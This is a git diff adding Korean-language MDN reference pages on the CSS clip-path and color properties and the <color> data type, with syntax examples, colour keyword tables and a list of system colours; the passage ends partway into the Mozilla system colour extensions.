+ + diff --git a/files/ko/web/css/clip-path/index.html b/files/ko/web/css/clip-path/index.html new file mode 100644 index 0000000000..588fb46724 --- /dev/null +++ b/files/ko/web/css/clip-path/index.html @@ -0,0 +1,614 @@ +--- +title: clip-path +slug: Web/CSS/clip-path +tags: + - CSS + - CSS Masking + - CSS Property + - Experimental + - Reference + - Web +translation_of: Web/CSS/clip-path +--- +
{{CSSRef}}
+ +

clip-path CSS 속성은 요소의 클리핑 범위를 지정합니다. 클리핑 범위 안의 부분은 보여지고, 바깥은 숨겨집니다.

+ +
{{EmbedInteractiveExample("pages/css/clip-path.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+clip-path: none;
+
+/* <clip-source> 값 */
+clip-path: url(resources.svg#c1);
+
+/* <geometry-box> 값 */
+clip-path: margin-box;
+clip-path: border-box;
+clip-path: padding-box;
+clip-path: content-box;
+clip-path: fill-box;
+clip-path: stroke-box;
+clip-path: view-box;
+
+/* <basic-shape> 값 */
+clip-path: inset(100px 50px);
+clip-path: circle(50px at 0 100px);
+clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
+clip-path: path('M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z');
+
+/* 박스와 도형 값 조합 */
+clip-path: padding-box circle(50px at 0 100px);
+
+/* 전역 값 */
+clip-path: inherit;
+clip-path: initial;
+clip-path: unset;
+
+ +

clip-path 속성은 아래의 값을 하나 이상 조합해 지정할 수 있습니다.

+ +

+ +
+
<clip-source>
+
SVG {{SVGElement("clipPath")}} 요소를 가리키는 {{cssxref("<url>")}}.
+
{{cssxref("<basic-shape>")}}
+
<geometry-box> 값으로 크기와 위치가 정해지는 도형. <geometry-box>를 지정하지 않는다면 border-box를 참조 박스로 사용합니다.
+
<geometry-box>
+
<basic-shape>와 함께 지정하면, <basic-shape>의 참조 박스를 정의합니다. 단독으로 지정한 경우, 값으로 주어진 상자와 그 상자의 모서리 형태({{cssxref("border-radius")}} 등)를 클리핑 패스로 적용합니다. 가능한 값은 다음과 같습니다.
+
+
+
margin-box
+
바깥 여백 상자를 참조로 사용합니다.
+
border-box
+
테두리 상자를 참조로 사용합니다.
+
padding-box
+
안쪽 여백 상자를 참조로 사용합니다.
+
content-box
+
콘텐츠 상자를 참조로 사용합니다.
+
fill-box
+
객체의 바운딩 상자를 참조로 사용합니다.
+
stroke-box
+
테두리 바운딩 상자를 참조로 사용합니다.
+
view-box
+
가장 가까운 SVG 뷰포트를 참조 상자로 사용합니다. SVG 뷰포트를 생성한 요소가 {{SVGAttr("viewBox")}} 속성을 가진 경우, 참조 상자의 위치는 viewBox 속성이 정의하는 좌표계의 원점에 위치하고, 크기는 viewBox 속성의 너비와 높이 값과 동일합니다.
+
+
+
none
+
클리핑 패스를 생성하지 않습니다.
+
+ +
+

참고: {{cssxref("opacity")}}가 1이 아닌 값일 때와 마찬가지로, none 외의 계산값은 새로운 쌓임 맥락을 생성합니다.

+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML과 SVG의 차이점

+ + + +

{{EmbedLiveSample("clip-path", "100%", 800, "", "", "example-outcome-frame")}}

+ +

완전한 예제

+ +

HTML

+ +
<img id="clipped" src="https://mdn.mozillademos.org/files/12668/MDN.svg"
+    alt="MDN logo">
+<svg height="0" width="0">
+  <defs>
+    <clipPath id="cross">
+      <rect y="110" x="137" width="90" height="90"/>
+      <rect x="0" y="110" width="90" height="90"/>
+      <rect x="137" y="0" width="90" height="90"/>
+      <rect x="0" y="0" width="90" height="90"/>
+    </clipPath>
+  </defs>
+</svg>
+
+<select id="clipPath">
+  <option value="none">none</option>
+  <option value="circle(100px at 110px 100px)">circle</option>
+  <option value="url(#cross)" selected>cross</option>
+  <option value="inset(20px round 20px)">inset</option>
+  <option value="path('M 0 200 L 0,110 A 110,90 0,0,1 240,100 L 200 340 z')">path</option>
+</select>
+
+ +

CSS

+ +
#clipped {
+  margin-bottom: 20px;
+  clip-path: url(#cross);
+}
+
+ + + +

결과

+ +

{{EmbedLiveSample("완전한_예제", 230, 250)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Masks", "#the-clip-path", 'clip-path')}}{{Spec2('CSS Masks')}}Extends its application to HTML elements. The clip-path property replaces the deprecated {{cssxref("clip")}} property.
{{SpecName('SVG1.1', 'masking.html#ClipPathProperty', 'clip-path')}}{{Spec2('SVG1.1')}}Initial definition (applies to SVG elements only).
{{SpecName("CSS Shapes 2", "#supported-basic-shapes", 'path')}}{{Spec2('CSS Shapes 2')}}Defines path().
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.clip-path")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/color/index.html b/files/ko/web/css/color/index.html new file mode 100644 index 0000000000..7fe1cd0ba9 --- /dev/null +++ b/files/ko/web/css/color/index.html @@ -0,0 +1,163 @@ +--- +title: color +slug: Web/CSS/color +tags: + - CSS + - CSS Colors + - CSS Property + - CSS Text + - Layout + - Reference + - Web + - 색 +translation_of: Web/CSS/color +--- +
{{CSSRef}}
+ +

color CSS 속성은 요소의 글씨 및 글씨 장식의 전경색과 {{cssxref("currentcolor")}}의 값을 설정합니다. currentcolor는 다른 속성에서 사용할 수 있는 간접적인 값이며, {{cssxref("border-color")}} 등 일부 속성의 기본값입니다.

+ +
{{EmbedInteractiveExample("pages/css/color.html")}}
+ + + +

HTML에서 색을 사용하는 법은 CSS로 HTML 요소에 색입히기 문서에서 정리한 내용으로 읽을 수 있습니다.

+ +

구문

+ +
/* 키워드 값 */
+color: currentcolor;
+
+/* <named-color> 값 */
+color: red;
+color: orange;
+color: tan;
+color: rebeccapurple;
+
+/* <hex-color> 값 */
+color: #090;
+color: #009900;
+color: #090a;
+color: #009900aa;
+
+/* <rgb()> 값 */
+color: rgb(34, 12, 64, 0.6);
+color: rgba(34, 12, 64, 0.6);
+color: rgb(34 12 64 / 0.6);
+color: rgba(34 12 64 / 0.3);
+color: rgb(34.0 12 64 / 60%);
+color: rgba(34.6 12 64 / 30%);
+
+/* <hsl()> 값 */
+color: hsl(30, 100%, 50%, 0.6);
+color: hsla(30, 100%, 50%, 0.6);
+color: hsl(30 100% 50% / 0.6);
+color: hsla(30 100% 50% / 0.6);
+color: hsl(30.0 100% 50% / 60%);
+color: hsla(30.2 100% 50% / 60%);
+
+/* 전역 값 */
+color: inherit;
+color: initial;
+color: unset;
+
+ +

color 속성은 하나의 {{cssxref("<color>")}} 값을 사용해 지정합니다.

+ +

값이 단일 색상이어야 함에 주의하세요. {{cssxref("<gradient>")}}는 사실 {{cssxref("<image>")}} 자료형이기 때문에 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
요소의 글씨와 장식 부분의 색.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

아래 예제 모두 글씨를 빨갛게 만듭니다.

+ +
p { color: red; }
+p { color: #f00; }
+p { color: #ff0000; }
+p { color: rgb(255,0,0); }
+p { color: rgb(100%, 0%, 0%); }
+p { color: hsl(0, 100%, 50%); }
+
+/* 50% 투명 */
+p { color: rgba(255, 0, 0, 0.5); }
+p { color: hsla(0, 100%, 50%, 0.5); }
+
+ +

접근성 고려사항

+ +

낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.

+ +

색 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 웹 콘텐츠 접근성 가이드라인(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 굵은 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Colors', '#the-color-property', 'color')}}{{Spec2('CSS4 Colors')}}Adds commaless syntaxes for the rgb(), rgba(), hsl(), and hsla() functions. Allows alpha values in rgb() and hsl(), turning rgba() and hsla() into (deprecated) aliases for them.
+ Adds color keyword rebeccapurple.
+ Adds 4- and 8-digit hex color values, where the last digit(s) represents the alpha value.
+ Adds hwb(), device-cmyk(), and color() functions.
{{SpecName('CSS3 Transitions', '#animatable-css', 'color')}}{{Spec2('CSS3 Transitions')}}Defines color as animatable.
{{SpecName('CSS3 Colors', '#color', 'color')}}{{Spec2('CSS3 Colors')}}Deprecates system-colors. Adds SVG colors. Adds the rgba(), hsl(), and hsla() functions.
{{SpecName('CSS2.1', 'colors.html#colors', 'color')}}{{Spec2('CSS2.1')}}Adds the orange color and the system colors.
{{SpecName('CSS1', '#color', 'color')}}{{Spec2('CSS1')}}Initial definition.
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.color")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<color>")}} 자료형
  • +
  • 다른 색상 관련 속성: {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, {{cssxref("column-rule-color")}}, {{cssxref("color-adjust")}}
  • +
  • CSS로 HTML 요소에 색입히기
  • +
diff --git a/files/ko/web/css/color_value/index.html b/files/ko/web/css/color_value/index.html new file mode 100644 index 0000000000..c176ddc056 --- /dev/null +++ b/files/ko/web/css/color_value/index.html @@ -0,0 +1,1374 @@ +--- +title: +slug: Web/CSS/color_value +tags: + - CSS + - CSS Date Type + - Layout + - Reference + - Web +translation_of: Web/CSS/color_value +--- +
{{CSSRef}}
+ +

CSS <color> 자료형sRGB 색 공간의 한 색을 표현하며, 추가로 알파 채널 투명도 값도 가질 수 있어 자신이 가리키는 색상과 배경이 어떻게 합성되어야 하는지 지정할 수 있습니다.

+ +

<color>는 다음 방법으로 정의할 수 있습니다.

+ +
    +
  • 키워드 사용 (blue, transparent 등)
  • +
  • RGB 3차원 좌표계 사용 (# + 16진수 표기법 또는 rgb(), rgba()의 함수형 표기법)
  • +
  • HSL 실린더형 좌표계 사용 (hsl(), hsla()의 함수형 표기법)
  • +
+ +
+

참고: 이 글은 <color> 자료형에 대해 상세히 기술합니다. HTML에서 실제로 색을 쓰는 법이 더 알고 싶으시면 CSS로 HTML 요소에 색 입히기를 참고하세요.

+
+ +

구문

+ +

<color> 자료형은 아래 나열된 선택지 중 하나를 사용해 지정합니다.

+ +
+

참고: <color> 값은 정확하게 정의할 수 있지만 실제로 화면에 표시될 때는 기기별로 차이가 있을 수도 있습니다. 대부분의 화면 색이 제대로 조정되지 않았으며 일부 브라우저는 기기의 색상 프로필을 지원하지 않기 때문입니다.

+
+ +

색상 키워드

+ +

색상 키워드는 대소문자를 구분하지 않는 식별자로, red, blue, black, lightseagreen처럼 특정 색을 나타냅니다. 이름이 표현하는 색을 그럭저럭 가리키고 있긴 하지만 모든 키워드의 본질은 인위적이며 어떤 특정한 규칙을 따르거나 하지 않습니다.

+ +

색상 키워드를 사용할 땐 몇 가지 고려할 점이 있습니다.

+ +
    +
  • HTML은 CSS1에서 찾을 수 있는 16가지 기본 색상만 인식합니다. 알 수 없는 값은 특정 알고리즘을 사용해 변환하는데 그 결과는 대개 완전히 다른 색입니다. 나머지 색상 키워드는 CSS와 SVG에서만 사용해야 합니다.
  • +
  • HTML과 달리 CSS는 알 수 없는 키워드를 완전히 무시합니다.
  • +
  • 모든 색상 키워드는 투명도 없는 단일 색상을 표현합니다.
  • +
  • 어떤 키워드는 다른 키워드의 다른 이름입니다. +
      +
    • aqua / cyan
    • +
    • fuchsia / magenta
    • +
    • darkgray / darkgrey
    • +
    • darkslategray / darkslategrey
    • +
    • dimgray / dimgrey
    • +
    • lightgray / lightgrey
    • +
    • lightslategray / lightslategrey
    • +
    • gray / grey
    • +
    • slategray / slategrey
    • +
    +
  • +
  • 많은 키워드를 X11에서 가져오긴 했지만, 제조사들이 X11 색상을 특정 하드웨어에 맞춰 조절한 경우도 있었기에 RGB값은 차이가 존재할 수 있습니다.
  • +
+ +
+

참고: CSS의 진화와 함께 색상 키워드도 많은 변화를 겪었습니다.

+ +
    +
  • CSS Level 1은 16개의 기본 색상만 지니고 있었습니다. VGA 그래픽 카드가 표현할 수 있는 색에서 가져온 것이기에 VGA 색상이라고 칭했습니다.
  • +
  • CSS Level 2에서는 orange 키워드를 추가했습니다.
  • +
  • 초기 브라우저들은 명세에 없음에도 불구하고 주로 X11 색상표에서 가져온 다양한 색상을 지원했습니다. 그러나 SVG 1.0과 CSS Colors Level 3 이전까지 그 목록이 정식으로 정해진 적은 없었습니다. 추가한 색상 키워드는 확장 색상 키워드, X11 색상, 또는 SVG 색상이라고 부릅니다.
  • +
  • CSS Colors Level 4에선 웹 개척자 에릭 메이어를 기리기 위해 rebeccapurple 키워드를 추가했습니다.
  • +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세키워드RGB 16진수값미리보기
{{SpecName("CSS1")}}black#000000
silver#c0c0c0
gray#808080
white#ffffff
maroon#800000
red#ff0000
purple#800080
fuchsia#ff00ff
green#008000
lime#00ff00
olive#808000
yellow#ffff00
navy#000080
blue#0000ff
teal#008080
aqua#00ffff
{{SpecName("CSS2.1")}}orange#ffa500
{{SpecName("CSS3 Colors")}}aliceblue#f0f8ff
antiquewhite#faebd7
aquamarine#7fffd4
azure#f0ffff
beige#f5f5dc
bisque#ffe4c4
blanchedalmond#ffebcd
blueviolet#8a2be2
brown#a52a2a
burlywood#deb887
cadetblue#5f9ea0
chartreuse#7fff00
chocolate#d2691e
coral#ff7f50
cornflowerblue#6495ed
cornsilk#fff8dc
crimson#dc143c
cyan
+ (aqua의 다른 이름)
#00ffff
darkblue#00008b
darkcyan#008b8b
darkgoldenrod#b8860b
darkgray#a9a9a9
darkgreen#006400
darkgrey#a9a9a9
darkkhaki#bdb76b
darkmagenta#8b008b
darkolivegreen#556b2f
darkorange#ff8c00
darkorchid#9932cc
darkred#8b0000
darksalmon#e9967a
darkseagreen#8fbc8f
darkslateblue#483d8b
darkslategray#2f4f4f
darkslategrey#2f4f4f
darkturquoise#00ced1
darkviolet#9400d3
deeppink#ff1493
deepskyblue#00bfff
dimgray#696969
dimgrey#696969
dodgerblue#1e90ff
firebrick#b22222
floralwhite#fffaf0
forestgreen#228b22
gainsboro#dcdcdc
ghostwhite#f8f8ff
gold#ffd700
goldenrod#daa520
greenyellow#adff2f
grey#808080
honeydew#f0fff0
hotpink#ff69b4
indianred#cd5c5c
indigo#4b0082
ivory#fffff0
khaki#f0e68c
lavender#e6e6fa
lavenderblush#fff0f5
lawngreen#7cfc00
lemonchiffon#fffacd
lightblue#add8e6
lightcoral#f08080
lightcyan#e0ffff
lightgoldenrodyellow#fafad2
lightgray#d3d3d3
lightgreen#90ee90
lightgrey#d3d3d3
lightpink#ffb6c1
lightsalmon#ffa07a
lightseagreen#20b2aa
lightskyblue#87cefa
lightslategray#778899
lightslategrey#778899
lightsteelblue#b0c4de
lightyellow#ffffe0
limegreen#32cd32
linen#faf0e6
magenta
+ (fuchsia의 다른 이름)
#ff00ff
mediumaquamarine#66cdaa
mediumblue#0000cd
mediumorchid#ba55d3
mediumpurple#9370db
mediumseagreen#3cb371
mediumslateblue#7b68ee
mediumspringgreen#00fa9a
mediumturquoise#48d1cc
mediumvioletred#c71585
midnightblue#191970
mintcream#f5fffa
mistyrose#ffe4e1
moccasin#ffe4b5
navajowhite#ffdead
oldlace#fdf5e6
olivedrab#6b8e23
orangered#ff4500
orchid#da70d6
palegoldenrod#eee8aa
palegreen#98fb98
paleturquoise#afeeee
palevioletred#db7093
papayawhip#ffefd5
peachpuff#ffdab9
peru#cd853f
pink#ffc0cb
plum#dda0dd
powderblue#b0e0e6
rosybrown#bc8f8f
royalblue#4169e1
saddlebrown#8b4513
salmon#fa8072
sandybrown#f4a460
seagreen#2e8b57
seashell#fff5ee
sienna#a0522d
skyblue#87ceeb
slateblue#6a5acd
slategray#708090
slategrey#708090
snow#fffafa
springgreen#00ff7f
steelblue#4682b4
tan#d2b48c
thistle#d8bfd8
tomato#ff6347
turquoise#40e0d0
violet#ee82ee
wheat#f5deb3
whitesmoke#f5f5f5
yellowgreen#9acd32
{{SpecName("CSS4 Colors")}}rebeccapurple#663399
+ +

transparent 키워드

+ +

transparent 키워드는 완전히 투명한 색으로, "색"을 입힌 항목의 뒷편이 모두 보입니다. 기술적으로 transparentrgba(0,0,0,0)의 짧은 이름입니다.

+ +
+

호환성 참고: {{cssxref("gradient")}} 등 특정 상황에서 의도하지 않은 결과를 피하기 위해, 현재 CSS 명세에선 transparent투명도를 미리 곱한 색 공간에서 계산하도록 명시하고 있습니다. 그러나 오래된 브라우저에서는 투명도 0의 검정으로 취급할 수 있음에 주의하세요.

+
+ +
+

역사 참고: transparent는 CSS Level 2 (Revision 1) 전까지 실제 색상이 아니었습니다. 대신 {{cssxref("background")}}와 {{cssxref("border")}}의 <color> 자리에 사용하는 특별한 키워드로, 상속받은 단색을 덮어 쓸 수 있도록 추가됐었습니다. CSS Colors Level 3에서 알파 채널이 추가되면서 transparent도 실제 색상으로 재정의되었습니다. 덕분에 <color> 값 어디에나 사용할 수 있습니다.

+
+ +

currentColor 키워드

+ +

currentColor 키워드는 요소의 {{Cssxref("color")}} 속성값을 나타냅니다. 이를 통해 다른 속성이 color 속성값을 따라가도록 설정할 수 있습니다.

+ +

color 속성의 값으로 currentColor 키워드를 사용하면, 값을 상속받은 color 속성에서 대신 가져옵니다.

+ +

currentColor 예제

+ +
<div style="color: blue; border: 1px dashed currentColor;">
+  이 글의 색은 파랑입니다.
+  <div style="background: currentColor; height:9px;"></div>
+  이 블록은 파란 테두리로 둘러쌓여 있습니다.
+</div>
+ +

{{EmbedLiveSample("currentColor_예제")}}

+ +

RGB 색상

+ +

RGB 색상 모델은 빨강, 초록, 파랑을 통해 특정 색을 표현합니다. 선택사항으로 색의 투명도를 알파 채널로 표현할 수 있습니다.

+ +

구문

+ +

RGB 색상은 # 뒤의 16진수 표기법이나 함수형 표기법(rgb(), rgba())으로 표현할 수 있습니다.

+ +
+

참고: CSS Colors Level 4부터 rgba()rgb()의 다른 이름입니다. Level 4 표준을 구현한 브라우저에서는 같은 매개변수를 받고 동일하게 행동합니다.

+
+ +
+
16진수 표기법: #RRGGBB[AA]
+
R(빨강), G(초록), B(파랑), A(알파)는 16진수 문자(0-9, A-F)입니다. A는 선택사항입니다. 예를 들어 #ff0000#ff0000ff와 같습니다.
+
16진수 표기법: #RGB[A]
+
R(빨강), G(초록), B(파랑), A(알파)는 16진수 문자(0-9, A-F)입니다. A는 선택사항입니다. 세 글자 표기법(#RGB)은 여섯 글자 표기법(#RRGGBB)의 단축 표현입니다. 예를 들어 #f09#ff0099와 같습니다. 비슷하게 네 글자 표기법(#RGBA)은 여덟 글자 표기법(#RRGGBBAA)의 단축 표기법이다. 예를 들어 #0f38#00ff3388과 같습니다.
+
함수형 표기법: rgb(R, G, B[, A]) 또는 rgba(R, G, B, A)
+
R(빨강), G(초록), B(파랑)은 {{cssxref("<integer>")}}나 {{cssxref("<percentage>")}}이며 숫자 255100%와 동일합니다. A(알파)는 0과 1 사이의 {{cssxref("<number>")}}거나 {{cssxref("<percentage>")}}이며 숫자 1100%(불투명)와 동일합니다.
+
함수형 표기법: rgb(R G B[ A]) 또는 rgba(R G B A)
+
CSS Colors Level 4부터 공백으로 구분한 값을 함수형 표기법과 사용할 수 있습니다.
+
+ +

예제

+ +
다양한 RGB 구문
+ +

다음 예제는 한 가지 색상을 만들 때 쓸 수 있는 다양한 RGB 색상 구문을 보입니다.

+ +
/* 아래 모든 구문은 불투명한 핫핑크를 표현합니다. */
+
+/* 16진수 구문 */
+#f09
+#F09
+#ff0099
+#FF0099
+
+/* 함수형 구문 */
+rgb(255,0,153)
+rgb(255, 0, 153)
+rgb(255, 0, 153.0) /* 오류! 소수점 금지 */
+rgb(100%,0%,60%)
+rgb(100%, 0%, 60%)
+rgb(100%, 0, 60%) /* 오류! 정수와 백분율 혼용 금지 */
+rgb(255 0 153)
+
+/* 16진수와 알파 값 */
+#f09f
+#F09F
+#ff0099ff
+#FF0099FF
+
+/* 함수형 구문과 알파 값 */
+rgb(255, 0, 153, 1)
+rgb(255, 0, 153, 100%)
+
+/* 공백 구분 구문 */
+rgb(255 0 153 / 1)
+rgb(255 0 153 / 100%)
+
+/* 정숫값을 사용한 함수형 구문 */
+rgb(255, 0, 153.6, 1)
+rgb(1e2, .5e1, .5e0, +.25e2%)
+
+ +
다양한 RGB 투명도 구문
+ +
/* 16진수 구문 */
+#3a30                    /*   0% opaque green */ 
+#3A3F                    /* full opaque green */ 
+#33aa3300                /*   0% opaque green */ 
+#33AA3388                /*  50% opaque green */ 
+
+/* 함수형 구문 */
+rgba(51, 170, 51, .1)    /*  10% opaque green */ 
+rgba(51, 170, 51, .4)    /*  40% opaque green */ 
+rgba(51, 170, 51, .7)    /*  70% opaque green */ 
+rgba(51, 170, 51,  1)    /* full opaque green */ 
+
+/* 공백 구분 구문 */
+rgba(51 170 51 / 0.4)    /*  40% opaque green */ 
+rgba(51 170 51 / 40%)    /*  40% opaque green */
+
+/* 정숫값을 사용한 함수형 구문 */
+rgba(255, 0, 153.6, 1)
+rgba(1e2, .5e1, .5e0, +.25e2%)
+
+ +

HSL 색상

+ +

HSL 색상 모델은 색상, 채도, 명도를 통해 특정 색상을 표현합니다. 선택사항으로 색의 투명도를 알파 채널로 표현할 수 있습니다.

+ +

많은 디자이너들은 색상, 채도, 명도를 따로 조절할 수 있는 HSL이 RGB보다 더 직관적임을 발견합니다. 또한 HSL을 사용하면 짝이 맞는 색(예컨대 한 가지 색의 여러 밝기) 여러 종류를 더 쉽게 만들 수 있습니다.

+ +

구문

+ +

HSL 색상은 함수형 hsl()hsla() 표기법을 사용합니다.

+ +
+

참고: CSS Colors Level 4부터 hsla()hsl()의 다른 이름입니다. Level 4 표준을 구현한 브라우저에서는 같은 매개변수를 받고 동일하게 행동합니다.

+
+ +
+
함수형 표기법: hsl(H, S, L[, A]) 또는 hsla(H, S, L, A)
+
H(색상)은 색상원에서의 {{cssxref("<angle>")}}로 {{SpecName("CSS4 Colors","#the-hsl-notation")}} 기준 deg, rad, grad, turn을 사용할 수 있습니다. 단위 없이 {{cssxref("<number>")}}로 표현할 경우 {{SpecName("CSS3 Colors", "#hsl-color")}}에 명시된 것과 같이 각도로 해석합니다. 정의에 따르면 빨강=0deg=360deg이며 다른 색은 (초록=120deg, 파랑=240deg 등) 원을 따라 분포하고 있습니다. <angle>이라면 암묵적으로 원의 주위를 한 바퀴 돕니다. 예컨대 -120deg=240deg, 480deg=120deg, -1turn=1turn 입니다.
+
S(채도)와 L(명도)는 {{cssxref("<percentage>")}}입니다. 100% 채도는 제일 진한 색이며 0%는 회색입니다. 100% 명도는 흰색, 0% 명도는 검은색, 50% 명도는 "보통" 색입니다.
+
A(알파)는 0과 1 사이의 {{cssxref("<number>")}}거나 {{cssxref("<percentage>")}}이며 숫자 1100%(불투명)와 동일합니다.
+
함수형 표기법: hsl(H S L[ A]) 또는 hsla(H S L A)
+
CSS Colors Level 4부터 공백으로 구분한 값을 함수형 표기법과 사용할 수 있습니다.
+
+ +

예제

+ +
다양한 HSL 구문
+ +
/* 아래 모든 구문은 라벤더를 표현합니다. */
+hsl(270,60%,70%)
+hsl(270, 60%, 70%)
+hsl(270 60% 70%)
+hsl(270deg, 60%, 70%)
+hsl(4.71239rad, 60%, 70%)
+hsl(.75turn, 60%, 70%)
+
+/* 아래 모든 구문은 85% 투명한 라벤더를 표현합니다. */
+hsl(270, 60%, 50%, .15)
+hsl(270, 60%, 50%, 15%)
+hsl(270 60% 50% / .15)
+hsl(270 60% 50% / 15%)
+
+ +
제일 진한 색상
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
표현설명미리보기
hsl(0, 100%, 50%)red
hsl(30, 100%, 50%)orange
hsl(60, 100%, 50%)yellow
hsl(90, 100%, 50%)lime green
hsl(120, 100%, 50%)green
hsl(150, 100%, 50%)blue-green
hsl(180, 100%, 50%)cyan
hsl(210, 100%, 50%)sky blue
hsl(240, 100%, 50%)blue
hsl(270, 100%, 50%)purple
hsl(300, 100%, 50%)magenta
hsl(330, 100%, 50%)pink
hsl(360, 100%, 50%)red
+ +
밝고 어두운 초록
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NotationDescriptionLive
hsl(120, 100%, 0%)black
hsl(120, 100%, 20%)
hsl(120, 100%, 40%)
hsl(120, 100%, 60%)
hsl(120, 100%, 80%)
hsl(120, 100%, 100%)white
+ +
진하고 옅은 초록
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NotationDescriptionLive
hsl(120, 100%, 50%)green
hsl(120, 80%, 50%)
hsl(120, 60%, 50%)
hsl(120, 40%, 50%)
hsl(120, 20%, 50%)
hsl(120, 0%, 50%)gray
+ +
다양한 HSL 투명도 구문
+ +
hsla(240, 100%, 50%, .05)     /*   5% opaque blue */ 
+hsla(240, 100%, 50%, .4)      /*  40% opaque blue */ 
+hsla(240, 100%, 50%, .7)      /*  70% opaque blue */ 
+hsla(240, 100%, 50%, 1)       /* full opaque blue */ 
+
+/* Whitespace syntax */
+hsla(240 100% 50% / .05)      /*   5% opaque blue */ 
+
+/* Percentage value for alpha */
+hsla(240 100% 50% / 5%)       /*   5% opaque blue */ 
+
+ +

시스템 색상

+ +

모든 시스템에서 모든 시스템 색상을 지원하는건 아닙니다. 공개 웹 페이지에서 사용하는건 좋지 않습니다.

+ +
+
ActiveBorder
+
Active window border.
+
ActiveCaption
+
Active window caption. Should be used with CaptionText as foreground color.
+
AppWorkspace
+
Background color of multiple document interface.
+
Background
+
Desktop background.
+
ButtonFace
+
Face background color for 3-D elements that appear 3-D due to one layer of surrounding border. Should be used with the ButtonText foreground color.
+
ButtonHighlight
+
The color of the border facing the light source for 3-D elements that appear 3-D due to that layer of surrounding border.
+
ButtonShadow
+
The color of the border away from the light source for 3-D elements that appear 3-D due to that layer of surrounding border.
+
ButtonText
+
Text on push buttons. Should be used with the ButtonFace or ThreeDFace background color.
+
CaptionText
+
Text in caption, size box, and scrollbar arrow box. Should be used with the ActiveCaption background color.
+
GrayText
+
Grayed (disabled) text.
+
Highlight
+
Item(s) selected in a control. Should be used with the HighlightText foreground color.
+
HighlightText
+
Text of item(s) selected in a control. Should be used with the Highlight background color.
+
InactiveBorder
+
Inactive window border.
+
InactiveCaption
+
Inactive window caption. Should be used with the InactiveCaptionText foreground color.
+
InactiveCaptionText
+
Color of text in an inactive caption. Should be used with the InactiveCaption background color.
+
InfoBackground
+
Background color for tooltip controls. Should be used with the InfoText foreground color.
+
InfoText
+
Text color for tooltip controls. Should be used with the InfoBackground background color.
+
Menu
+
Menu background. Should be used with the MenuText or -moz-MenuBarText foreground color.
+
MenuText
+
Text in menus. Should be used with the Menu background color.
+
Scrollbar
+
Background color of scroll bars.
+
ThreeDDarkShadow
+
The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.
+
ThreeDFace
+
The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border. Should be used with the ButtonText foreground color.
+
ThreeDHighlight
+
The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.
+
ThreeDLightShadow
+
The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.
+
ThreeDShadow
+
The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.
+
Window
+
Window background. Should be used with the WindowText foreground color.
+
WindowFrame
+
Window frame.
+
WindowText
+
Text in windows. Should be used with the Window background color.
+
+ +

Mozilla 시스템 색상 확장

+ +
+
-moz-ButtonDefault
+
